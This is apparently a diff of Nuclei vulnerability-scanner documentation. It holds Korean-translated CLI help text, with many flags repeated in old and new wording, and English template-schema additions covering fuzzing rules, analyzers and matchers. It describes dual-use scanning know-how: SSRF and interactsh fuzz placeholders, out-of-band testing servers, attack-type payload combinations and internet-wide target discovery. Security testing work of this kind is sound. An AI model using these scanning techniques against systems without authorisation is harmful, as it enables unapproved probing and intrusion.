-ztls tls13의 표준으로 autofallback과 함께 ztls 라이브러리 사용
|
||||
-sni string 사용할 tls sni 호스트 이름(기본: 입력한 도메인 이름)
|
||||
-config string nuclei 구성 파일 경로
|
||||
-fr, -follow-redirects http 템플릿에 대한 리디렉션 따라가기 활성화
|
||||
-fhr, -follow-host-redirects 같은 호스트에서 리디렉션 따라가기
|
||||
-mr, -max-redirects int http 템플릿에 대해 따라갈 최대 리디렉션 수 (기본값 10)
|
||||
-dr, -disable-redirects http 템플릿에 대한 리디렉션 비활성화
|
||||
-rc, -report-config string nuclei 보고 모듈 구성 파일
|
||||
-H, -header string[] 모든 http 요청에 포함할 사용자 정의 헤더/쿠키 (header:value 형식) (cli, file)
|
||||
-V, -var value key=value 형식의 사용자 정의 변수
|
||||
-r, -resolvers string nuclei에 대한 리졸버 목록이 있는 파일
|
||||
-sr, -system-resolvers 오류 대체로 시스템 DNS 해결 사용
|
||||
-dc, -disable-clustering 요청 클러스터링 비활성화
|
||||
-passive 수동 HTTP 응답 처리 모드 활성화
|
||||
-fh2, -force-http2 요청에 http2 연결 강제
|
||||
-ev, -env-vars 템플릿에서 환경 변수 사용 활성화
|
||||
-cc, -client-cert string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 파일 (PEM 인코딩)
|
||||
-ck, -client-key string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 키 파일 (PEM 인코딩)
|
||||
-ca, -client-ca string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 기관 파일 (PEM 인코딩)
|
||||
-sml, -show-match-line 파일 템플릿에 대한 매치 라인 표시, 추출기만 작동
|
||||
-ztls ztls 라이브러리 사용, tls13에 대한 표준 하나로 자동 대체 [사용 중단] 자동 대체는 기본적으로 ztls로 활성화됨
|
||||
-sni string 사용할 tls sni 호스트 이름 (기본값: 입력 도메인 이름)
|
||||
-lfa, -allow-local-file-access 시스템 어디에서나 파일 (페이로드) 액세스 허용
|
||||
-lna, -restrict-local-network-access 로컬 / 개인 네트워크로의 연결 차단
|
||||
-i, -interface string 네트워크 스캔에 사용할 네트워크 인터페이스
|
||||
-at, -attack-type string 수행할 페이로드 조합 유형 (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string 네트워크 스캔에 사용할 소스 IP 주소
|
||||
-rsr, -response-size-read int 바이트 단위로 읽을 최대 응답 크기 (기본값 10485760)
|
||||
-rss, -response-size-save int 바이트 단위로 읽을 최대 응답 크기 (기본값 1048576)
|
||||
-reset reset은 모든 nuclei 구성 및 데이터 파일을 제거합니다 (nuclei-templates 포함)
|
||||
-tlsi, -tls-impersonate 실험적인 클라이언트 hello (ja3) tls 무작위화 활성화
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string 자체 호스팅된 인스턴스에 대한 interactsh 서버 URL (기본: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string 자체 호스팅된 interactsh 서버에 대한 인증 토큰
|
||||
-interactions-cache-size int 상호 작용 캐시에 유지할 요청 수 (기본 5000)
|
||||
-interactions-eviction int 캐시에서 요청을 제거하기 전에 대기할 시간(초) (기본 60)
|
||||
-interactions-poll-duration int 각 상호 작용 폴링 요청 전에 대기할 시간(초) (기본 5)
|
||||
-interactions-cooldown-period int 종료 전 상호작용 폴링을 위한 추가 시간 (기본 5)
|
||||
-ni, -no-interactsh OAST 테스트를 위해 interactsh 서버 비활성화, OAST 기반 템플릿 제외
|
||||
-iserver, -interactsh-server string 자체 호스팅 인스턴스를 위한 interactsh 서버 url (기본값: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string 자체 호스팅 interactsh 서버를 위한 인증 토큰
|
||||
-interactions-cache-size int 상호 작용 캐시에 유지할 요청 수 (기본값 5000)
|
||||
-interactions-eviction int 캐시에서 요청을 제거하기 전에 기다릴 초 수 (기본값 60)
|
||||
-interactions-poll-duration int 각 상호 작용 폴 요청 사이에 기다릴 초 수 (기본값 5)
|
||||
-interactions-cooldown-period int 종료 전에 상호 작용 폴링에 추가 시간 (기본값 5)
|
||||
-ni, -no-interactsh OAST 테스트를 위한 interactsh 서버 비활성화, OAST 기반 템플릿 제외
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string 템플릿에 설정된 퍼징 유형 재정의 (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string 템플릿에 설정된 퍼징 모드 재정의 (multiple, single)
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover uncover 엔진 활성화
|
||||
-uq, -uncover-query string[] uncover 검색 쿼리
|
||||
-ue, -uncover-engine string[] uncover 검색 엔진 (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (기본값 shodan)
|
||||
-uf, -uncover-field string 반환할 uncover 필드 (ip,port,host) (기본값 "ip:port")
|
||||
-ul, -uncover-limit int 반환할 uncover 결과 (기본값 100)
|
||||
-ur, -uncover-ratelimit int 알려지지 않은 ratelimit의 엔진을 재정의하는 ratelimit (기본값 60 req/min) (기본값 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int 초당 보낼 최대 요청 수 (기본 150)
|
||||
-rlm, -rate-limit-minute int 분당 보낼 최대 요청 수
|
||||
-bs, -bulk-size int 템플릿당 병렬로 분석할 최대 호스트 수 (기본 25)
|
||||
-c, -concurrency int 병렬로 실행할 최대 템플릿 수 (기본 25)
|
||||
-hbs, -headless-bulk-size int 템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본 10)
|
||||
-hc, -headless-concurrency int 병렬로 실행할 최대 headless 템플릿 수 (기본 10)
|
||||
-rl, -rate-limit int 초당 보낼 최대 요청 수 (기본값 150)
|
||||
-rlm, -rate-limit-minute int 분당 보낼 최대 요청 수
|
||||
-bs, -bulk-size int 템플릿당 병렬로 분석할 최대 호스트 수 (기본값 25)
|
||||
-c, -concurrency int 병렬로 실행할 최대 템플릿 수 (기본값 25)
|
||||
-hbs, -headless-bulk-size int 템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본값 10)
|
||||
-headc, -headless-concurrency int 병렬로 실행할 최대 headless 템플릿 수 (기본값 10)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int 타임아웃 전 대기 시간(초) (기본 5)
|
||||
-retries int 실패한 요청을 재시도하는 횟수 (기본 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443
|
||||
-mhe, -max-host-error int 스캔을 건너뛰기 전에 호스트에 대한 최대 오류 수 (기본 30)
|
||||
-te, -track-error string[] 주어진 오류를 max-host-error 감시 목록(표준, 파일)에 추가
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project 프로젝트 폴더를 사용하여 동일한 요청을 여러 번 보내지 않음
|
||||
-project-path string 특정 프로젝트 경로 설정
|
||||
-spm, -stop-at-first-match 첫 번째 일치 후 HTTP 요청 처리 중지 (template/workflow 로직이 중단될 수 있음)
|
||||
-stream stream 모드 - 입력을 정렬하지 않고 elaborating 시작
|
||||
-timeout int 타임아웃 전에 기다릴 초 수 (기본값 10)
|
||||
-retries int 실패한 요청을 재시도하는 횟수 (기본값 1)
|
||||
-ldp, -leave-default-ports 기본 HTTP/HTTPS 포트 남겨두기 (예: host:80,host:443)
|
||||
-mhe, -max-host-error int 스캔에서 건너뛰기 전에 호스트에서 허용되는 최대 오류 수 (기본값 30)
|
||||
-te, -track-error string[] 최대 호스트 오류 감시 목록에 주어진 오류 추가 (표준, 파일)
|
||||
-nmhe, -no-mhe 오류를 기반으로 스캔에서 호스트 건너뛰기 비활성화
|
||||
-project 동일한 요청을 여러 번 보내는 것을 피하기 위해 프로젝트 폴더 사용
|
||||
-project-path string 특정 프로젝트 경로 설정 (기본값 "/tmp")
|
||||
-spm, -stop-at-first-match 첫 번째 매치 후 HTTP 요청 처리 중지 (템플릿/워크플로우 로직이 깨질 수 있음)
|
||||
-stream 스트림 모드 - 입력 정렬 없이 시작
|
||||
-ss, -scan-strategy value 스캔하는 동안 사용할 전략(auto/host-spray/template-spray) (기본값 auto)
|
||||
-irt, -input-read-timeout value 입력 읽기 시간 초과 (기본값 3m0s)
|
||||
-nh, -no-httpx 비 URL 입력에 대한 httpx 프로브 비활성화
|
||||
-no-stdin stdin 처리를 비활성화합니다
|
||||
|
||||
HEADLESS:
|
||||
-headless 헤드리스 브라우저 지원이 필요한 템플릿 활성화(root user on linux will disable sandbox)
|
||||
-page-timeout int 헤드리스 모드에서 각 페이지를 기다리는 시간(초)(기본 20)
|
||||
-sb, -show-browser 헤드리스 모드로 템플릿을 실행할 때 화면에 브라우저 표시
|
||||
-sc, -system-chrome 설치된 nuclei 대신 로컬에 설치된 chrome 브라우저 사용
|
||||
-headless headless 브라우저 지원이 필요한 템플릿 활성화 (Linux의 root 사용자는 샌드박스 비활성화)
|
||||
-page-timeout int headless 모드에서 각 페이지를 기다리는 시간(초) (기본값 20)
|
||||
-sb, -show-browser headless 모드로 실행하는 템플릿에서 브라우저 화면 표시
|
||||
-ho, -headless-options string[] 추가 옵션으로 headless chrome 시작
|
||||
-sc, -system-chrome nuclei가 설치한 Chrome 대신 로컬에 설치된 Chrome 브라우저 사용
|
||||
-lha, -list-headless-action 사용 가능한 headless 액션 목록 표시
|
||||
|
||||
DEBUG:
|
||||
-debug 모든 요청 및 응답 표시
|
||||
-debug 모든 요청과 응답 표시
|
||||
-dreq, -debug-req 보낸 모든 요청 표시
|
||||
-dresp, -debug-resp 받은 모든 응답 표시
|
||||
-p, -proxy string[] 사용할 http/socks5 프록시 목록(쉼표로 구분하거나 파일 입력)
|
||||
-pi, -proxy-internal 모든 내부 요청을 프록시
|
||||
-p, -proxy string[] 사용할 http/socks5 프록시 목록 (쉼표로 구분하거나 파일 입력)
|
||||
-pi, -proxy-internal 모든 내부 요청을 프록시를 통해 전송
|
||||
-ldf, -list-dsl-function 지원되는 모든 DSL 함수 시그니처 목록 표시
|
||||
-tlog, -trace-log string 보낸 요청 추적 로그를 기록할 파일
|
||||
-elog, -error-log string 보낸 요청 오류 로그를 기록할 파일
|
||||
-version nuclei 버전 출력
|
||||
-hm, -hang-monitor nuclei hang monitoring 활성화
|
||||
-v, -verbose 상세 출력 표시
|
||||
-vv 스캔을 위해 로드된 디스플레이 템플릿 표시
|
||||
-ep, -enable-pprof pprof debugging server 활성화
|
||||
-tv, -templates-version 설치된 nuclei-templates 버전 출력
|
||||
-version nuclei 버전 표시
|
||||
-hm, -hang-monitor nuclei 멈춤 모니터링 활성화
|
||||
-v, -verbose 자세한 출력 표시
|
||||
-profile-mem string 선택적인 nuclei 메모리 프로필 덤프 파일
|
||||
-vv 스캔에 로드된 템플릿 표시
|
||||
-svd, -show-var-dump 디버깅을 위한 변수 덤프 표시
|
||||
-ep, -enable-pprof pprof 디버깅 서버 활성화
|
||||
-tv, -templates-version 설치된 nuclei-templates의 버전 표시
|
||||
-hc, -health-check 진단 검사 실행
|
||||
|
||||
UPDATE:
|
||||
-update 최신 릴리스 버전으로 nuclei 엔진 업데이트
|
||||
-ut, -update-templates 최신 릴리스 버전으로 nuclei-templates 엔진 업데이트
|
||||
-ud, -update-directory string nuclei-templates를 설치할 기본 디렉터리를 덮어씀
|
||||
-duc, -disable-update-check 자동 nuclei/templates 업데이트 확인 비활성화
|
||||
-up, -update 최신 릴리스 버전으로 nuclei 엔진 업데이트
|
||||
-ut, -update-templates 최신 릴리스 버전으로 nuclei-templates 업데이트
|
||||
-ud, -update-template-dir string nuclei-templates를 설치/업데이트할 사용자 지정 디렉토리
|
||||
-duc, -disable-update-check 자동 nuclei/templates 업데이트 확인 비활성화
|
||||
|
||||
STATISTICS:
|
||||
-stats 실행 중인 스캔에 대한 통계 표시
|
||||
-sj, -stats-json JSONL(ines) 형식으로 출력 파일에 통계 데이터 쓰기
|
||||
-si, -stats-interval int 통계 업데이트를 표시할 때까지 대기하는 시간(초) (기본 5)
|
||||
-m, -metrics expose nuclei metrics on a port
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (기본 9092)
|
||||
-sj, -stats-json JSONL(ines) 형식으로 통계 표시
|
||||
-si, -stats-interval int 통계 업데이트를 표시하기까지 기다릴 초 수 (기본값 5)
|
||||
-mp, -metrics-port int nuclei 메트릭스를 노출할 포트 (기본값 9092)
|
||||
|
||||
CLOUD:
|
||||
-auth projectdiscovery 클라우드 (pdcp) API 키 구성
|
||||
-cup, -cloud-upload 스캔 결과를 pdcp 대시보드에 업로드
|
||||
-sid, -scan-id string 주어진 스캔 ID에 스캔 결과 업로드
|
||||
|
||||
|
||||
예시:
|
||||
단일 호스트에서 nuclei 실행:
|
||||
$ nuclei -target example.com
|
||||
|
||||
특정 템플릿 디렉토리로 nuclei 실행:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
호스트 목록에 대해 nuclei 실행:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
JSON 출력으로 nuclei 실행:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
정렬된 Markdown 출력으로 nuclei 실행 (환경 변수 사용):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
추가 문서는 여기에서 확인할 수 있습니다: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Nuclei 실행
|
||||
|
||||
@@ -379,6 +379,7 @@ Stop execution once first match is found
|
||||
<div class="dt">
|
||||
|
||||
Signature is the request signature method
|
||||
WARNING: 'signature' will be deprecated and will be removed in a future release. Prefer using 'code' protocol for writing cloud checks
|
||||
|
||||
|
||||
Valid values:
|
||||
@@ -1372,6 +1373,32 @@ Fuzzing describes schema to fuzz http requests
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>analyzer</code> <i><a href="#analyzersanalyzertemplate">analyzers.AnalyzerTemplate</a></i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Analyzer is an analyzer to use for matching the response.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>self-contained</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SelfContained specifies if the request is self-contained.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>signature</code> <i><a href="#signaturetypeholder">SignatureTypeHolder</a></i>
|
||||
|
||||
</div>
|
||||
@@ -1390,6 +1417,19 @@ Valid values:
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>skip-secret-file</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SkipSecretFile skips the authentication or authorization configured in the secret file.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>cookie-reuse</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
@@ -1404,6 +1444,19 @@ all requests defined in raw section.
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>disable-cookie</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
DisableCookie is an optional setting that disables cookie reuse
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>read-all</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
@@ -1585,6 +1638,45 @@ DisablePathAutomerge disables merging target url path with raw request path
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pre-condition</code> <i>[]<a href="#matchersmatcher">matchers.Matcher</a></i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Fuzz PreCondition is matcher-like field to check if fuzzing should be performed on this request or not
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pre-condition-operator</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
FuzzPreConditionOperator is the operator between multiple PreConditions for fuzzing Default is OR
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>global-matchers</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
GlobalMatchers marks matchers as static and applies globally to all result events from other templates
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1747,13 +1839,50 @@ Valid values:
|
||||
|
||||
Part is the part of request to fuzz.
|
||||
|
||||
query fuzzes the query part of url. More parts will be added later.
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>query</code>
|
||||
|
||||
- <code>header</code>
|
||||
|
||||
- <code>path</code>
|
||||
|
||||
- <code>body</code>
|
||||
|
||||
- <code>cookie</code>
|
||||
|
||||
- <code>request</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>parts</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Parts is the list of parts to fuzz. If multiple parts need to be
|
||||
defined while excluding some, this should be used instead of singular part.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>query</code>
|
||||
|
||||
- <code>header</code>
|
||||
|
||||
- <code>path</code>
|
||||
|
||||
- <code>body</code>
|
||||
|
||||
- <code>cookie</code>
|
||||
|
||||
- <code>request</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -1859,26 +1988,100 @@ values:
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>fuzz</code> <i>[]string</i>
|
||||
<code>fuzz</code> <i><a href="#sliceormapslice">SliceOrMapSlice</a></i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Fuzz is the list of payloads to perform substitutions with.
|
||||
description: |
|
||||
Fuzz is the list of payloads to perform substitutions with.
|
||||
examples:
|
||||
- name: Examples of fuzz
|
||||
value: >
|
||||
[]string{"{{ssrf}}", "{{interactsh-url}}", "example-value"}
|
||||
or
|
||||
x-header: 1
|
||||
x-header: 2
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>replace-regex</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
replace-regex is regex for regex-replace rule type
|
||||
it is only required for replace-regex rule type
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Examples of fuzz
|
||||
fuzz:
|
||||
- '{{ssrf}}'
|
||||
- '{{interactsh-url}}'
|
||||
- example-value
|
||||
```
|
||||
## SliceOrMapSlice
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#fuzzrule">fuzz.Rule</a>.fuzz</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## analyzers.AnalyzerTemplate
|
||||
AnalyzerTemplate is the template for the analyzer
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#httprequest">http.Request</a>.analyzer</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>name</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Name is the name of the analyzer to use
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>time_delay</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>parameters</code> <i>map[string]interface{}</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Parameters is the parameters for the analyzer
|
||||
|
||||
Parameters are different for each analyzer. For example, you can customize
|
||||
time_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer
|
||||
to the docs for each analyzer to get an idea about parameters.
|
||||
|
||||
</div>
|
||||
|
||||
@@ -1902,6 +2105,459 @@ Appears in:
|
||||
|
||||
|
||||
|
||||
## matchers.Matcher
|
||||
Matcher is used to match a part in the output from a protocol.
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#httprequest">http.Request</a>.pre-condition</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>type</code> <i><a href="#matchertypeholder">MatcherTypeHolder</a></i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Type is the type of the matcher.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>condition</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Condition is the optional condition between two matcher variables. By default,
|
||||
the condition is assumed to be OR.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>and</code>
|
||||
|
||||
- <code>or</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>part</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Part is the part of the request response to match data from.
|
||||
|
||||
Each protocol exposes a lot of different parts which are well
|
||||
documented in docs for each request type.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
part: body
|
||||
```
|
||||
|
||||
```yaml
|
||||
part: raw
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>negative</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Negative specifies if the match should be reversed
|
||||
It will only match if the condition is not true.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>name</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Name of the matcher. Name should be lowercase and must not contain
|
||||
spaces or underscores (_).
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
name: cookie-matcher
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>status</code> <i>[]int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Status are the acceptable status codes for the response.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>size</code> <i>[]int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Size is the acceptable size for the response
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
size:
|
||||
- 3029
|
||||
- 2042
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>words</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Words contains word patterns required to be present in the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Match for Outlook mail protection domain
|
||||
words:
|
||||
- mail.protection.outlook.com
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Match for application/json in response headers
|
||||
words:
|
||||
- application/json
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>regex</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Regex contains Regular Expression patterns required to be present in the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Match for Linkerd Service via Regex
|
||||
regex:
|
||||
- (?mi)^Via\\s*?:.*?linkerd.*$
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Match for Open Redirect via Location header
|
||||
regex:
|
||||
- (?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)example\\.com.*$
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>binary</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Binary are the binary patterns required to be present in the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Match for Springboot Heapdump Actuator "JAVA PROFILE", "HPROF", "Gunzip magic byte"
|
||||
binary:
|
||||
- 4a4156412050524f46494c45
|
||||
- 4850524f46
|
||||
- 1f8b080000000000
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Match for 7zip files
|
||||
binary:
|
||||
- 377ABCAF271C
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>dsl</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.
|
||||
A list of these helper functions are available [here](https://nuclei.projectdiscovery.io/templating-guide/helper-functions/).
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# DSL Matcher for package.json file
|
||||
dsl:
|
||||
- contains(body, 'packages') && contains(tolower(all_headers), 'application/octet-stream') && status_code == 200
|
||||
```
|
||||
|
||||
```yaml
|
||||
# DSL Matcher for missing strict transport security header
|
||||
dsl:
|
||||
- '!contains(tolower(all_headers), ''''strict-transport-security'''')'
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>xpath</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
XPath are the xpath queries expressions that will be evaluated against the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# XPath Matcher to check a title
|
||||
xpath:
|
||||
- /html/head/title[contains(text(), 'How to Find XPath')]
|
||||
```
|
||||
|
||||
```yaml
|
||||
# XPath Matcher for finding links with target="_blank"
|
||||
xpath:
|
||||
- //a[@target="_blank"]
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>encoding</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Encoding specifies the encoding for the words field if any.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>hex</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>case-insensitive</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
CaseInsensitive enables case-insensitive matches. Default is false.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>false</code>
|
||||
|
||||
- <code>true</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>match-all</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
MatchAll enables matching for all matcher values. Default is false.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>false</code>
|
||||
|
||||
- <code>true</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>internal</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
Internal when true hides the matcher from output. Default is false.
|
||||
It is meant to be used in multiprotocol / flow templates to create internal matcher condition without printing it in output.
|
||||
or other similar use cases.
|
||||
values:
|
||||
- false
|
||||
- true
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## MatcherTypeHolder
|
||||
MatcherTypeHolder is used to hold internal type of the matcher
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#matchersmatcher">matchers.Matcher</a>.type</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code></code> <i>MatcherType</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
|
||||
|
||||
|
||||
Enum Values:
|
||||
|
||||
|
||||
- <code>word</code>
|
||||
|
||||
- <code>regex</code>
|
||||
|
||||
- <code>binary</code>
|
||||
|
||||
- <code>status</code>
|
||||
|
||||
- <code>size</code>
|
||||
|
||||
- <code>dsl</code>
|
||||
|
||||
- <code>xpath</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## dns.Request
|
||||
Request contains a DNS protocol request to be made from a template
|
||||
|
||||
@@ -2115,6 +2771,30 @@ Payloads support both key-values combinations where a list
|
||||
of payloads is provided, or optionally a single file can also
|
||||
be provided as payload which will be read on run-time.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>threads</code> <i>int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
